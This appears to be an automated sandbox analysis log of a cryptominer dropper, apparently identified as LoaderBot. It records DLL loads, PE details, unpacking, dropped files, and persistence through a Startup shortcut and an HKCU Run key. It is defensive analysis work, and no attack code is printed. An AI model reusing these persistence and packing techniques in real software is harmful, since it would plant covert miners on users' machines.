Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: h2UFp4aCRq.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: h2UFp4aCRq.exe

Static file information: File size 5061451 > 1048576

Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: h2UFp4aCRq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: h2UFp4aCRq.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: h2UFp4aCRq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\danie\Desktop\Sources\Miner Source1\obj\x86\Debug\miner.pdb source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr
Source:	Binary string: C:\Users\danie\Desktop\Sources\Miner Source1\obj\x86\Debug\miner.pdbP source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: h2UFp4aCRq.exe, rolex.exe.0.dr

Source: h2UFp4aCRq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: h2UFp4aCRq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: h2UFp4aCRq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: h2UFp4aCRq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: h2UFp4aCRq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Unpacked PE file: 5.2.Driver.exe.140000000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Yara detected LoaderBot

Source: Yara match	File source: 4.0.yondex.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1730928897.0000000000692000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rolex.exe PID: 6584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yondex.exe PID: 6936, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, type: DROPPED

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_6321171

Jump to behavior

Source: rolex.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x469fd4
Source: h2UFp4aCRq.exe	Static PE information: real checksum: 0x0 should be: 0x4e37cd
Source: Driver.exe.4.dr	Static PE information: real checksum: 0x3f8bb4 should be: 0x3fb52d
Source: yondex.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x401e1a

Source: h2UFp4aCRq.exe	Static PE information: section name: .didat
Source: h2UFp4aCRq.exe	Static PE information: section name: _RDATA
Source: rolex.exe.0.dr	Static PE information: section name: .didat
Source: rolex.exe.0.dr	Static PE information: section name: _RDATA
Source: Driver.exe.4.dr	Static PE information: section name: .MPRESS1
Source: Driver.exe.4.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655965156 push rsi; retf	0_2_00007FF655965157
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655965166 push rsi; retf	0_2_00007FF655965167
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4D5166 push rsi; retf	3_2_00007FF7AB4D5167
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4D5156 push rsi; retf	3_2_00007FF7AB4D5157
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C704E7 push eax; retn 0000h	12_2_00C70502
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C704E7 push eax; retn 0000h	12_2_00C7055A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C71027 push ds; retn 0000h	12_2_00C7102A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C70838 push ss; retn 0000h	12_2_00C7083A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C70569 push ecx; retn 0000h	12_2_00C7056A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C70577 push ecx; retn 0000h	12_2_00C7057A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C70E99 push ds; retn 0000h	12_2_00C70E9A
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 12_2_00C70FC8 push ds; retn 0000h	12_2_00C70FCA

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	File created: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	File created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Jump to dropped file
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Driver			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Driver			Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
